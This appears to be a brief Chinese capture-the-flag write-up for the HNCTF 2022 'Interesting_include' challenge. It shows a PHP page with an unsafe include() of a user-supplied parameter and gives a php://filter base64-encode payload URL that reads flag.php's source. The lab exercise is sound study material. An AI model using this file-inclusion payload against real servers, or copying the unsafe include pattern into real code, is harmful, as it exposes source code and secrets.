NSSCTF [HNCTF 2022 Week1]Interesting_include

karasbai / 2024-08-23 / 原文

<?php
//WEB手要懂得搜索
//flag in ./flag.php

if(isset($_GET['filter'])){
    $file = $_GET['filter'];
    if(!preg_match("/flag/i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
}

可以知晓,该段代码使用preg_match函数过滤掉了flag,绕过preg_match函数可以使用php://filter,通过对要读的文件进行base64加密来完成绕过

playload:/?filter=php://filter/read=convert.base64-encode/resource=flag.php

 得到一串base64加密的数据,放进bp进行解码,取得flag